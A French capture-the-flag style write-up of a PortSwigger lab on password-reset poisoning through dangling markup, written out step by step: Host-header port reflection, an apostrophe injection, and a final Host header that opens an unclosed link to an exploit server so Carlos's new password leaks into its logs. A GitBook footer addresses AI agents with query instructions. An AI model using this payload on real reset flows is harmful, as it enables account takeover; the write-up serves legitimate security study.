> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/host-header/password-reset-poisoning-via-dangling-markup.md).

# Empoisonnement de la réinitialisation du mot de passe via un balisage orphelin

### Empoisonnement de la réinitialisation du mot de passe via balisage non fermé

**Description du laboratoire**

Ce labo est vulnérable à une **empoisonnement de la réinitialisation du mot de passe via balisage non fermé**. / En utilisant une mauvaise gestion du HTML dans l'e-mail de réinitialisation, il est possible de détourner le lien envoyé à un utilisateur et de récupérer son nouveau mot de passe.

**Objectif :** se connecter à **compte de Carlos**.

**Identifiants fournis :**

* Utilisateur : `wiener`
* Mot de passe : `peter`

<figure><img src="/files/0631a7503eaab38df5101a146bf84afbe25d466f" alt=""><figcaption></figcaption></figure>

Tous les e-mails peuvent être consultés via le client de messagerie du serveur d'exploitation\*\*.

<figure><img src="/files/13a4175cc22879435e312163d9d17475cf65f744" alt=""><figcaption></figcaption></figure>

**Observation initiale**

Une fonctionnalité de réinitialisation du mot de passe est disponible. / Après la demande, un e-mail HTML est envoyé avec le contenu suivant :

{% code overflow="wrap" %}

```http
<p>Bonjour !</p><p>Veuillez <a href='https://0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net/login'>cliquer ici</a> pour vous connecter avec votre nouveau mot de passe : AGSoZyzfot</p><p>Merci,<br/>Équipe de support</p><i>Cet e-mail a été analysé par le service de sécurité des e-mails MacCarthy</i>
```

{% endcode %}

Le lien de connexion est construit dynamiquement à partir du **Host** en-tête de la requête.

**Analyse comportementale**

Si vous modifiez l'en-tête Host pour y inclure un port arbitraire :

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234
```

Le port est correctement reflété dans l'e-mail reçu. / Cela confirme que la valeur de **Host** est intégrée sans validation stricte dans le HTML de l'e-mail.

<figure><img src="/files/b5a9795d3bd355093639cb4f475b68592e322c48" alt=""><figcaption></figcaption></figure>

**Exploitation via balisage non fermé**

Une valeur Host contenant une apostrophe est ensuite injectée, ce qui casse l'attribut HTML :

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234'HELLOO
```

Le contenu est interprété par le client de messagerie, ce qui indique une injection HTML exploitable.

<figure><img src="/files/b62cf9db546a45a5d9fb3e1bf996e802ab9c9b9c" alt=""><figcaption></figcaption></figure>

**Charge utile finale**

Ce comportement est exploité en ouvrant une `<a href>` balise sans la fermer correctement, de sorte que le reste du contenu de l'e-mail (y compris le mot de passe) soit interprété comme faisant partie de l'URL :

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234' <a href="https://exploit-0aae00f3041e67018152d3fe010000c3.exploit-server.net/?
```

<figure><img src="/files/0968e29afa553c75bb223b3d190fd17b6385547d" alt=""><figcaption></figcaption></figure>

**Résultat**

Lorsque l'e-mail est généré et envoyé à **carlos**, le client de messagerie interprète le HTML injecté. / Le nouveau mot de passe est ensuite inclus dans l'URL et transmis automatiquement au **serveur**.

Le mot de passe de Carlos est récupéré à partir des journaux du serveur, ce qui vous permet de vous connecter à son compte et de valider le laboratoire.

<figure><img src="/files/9cedff5ab1d806f1f6b41e21a93a56dc768ed66b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/host-header/password-reset-poisoning-via-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
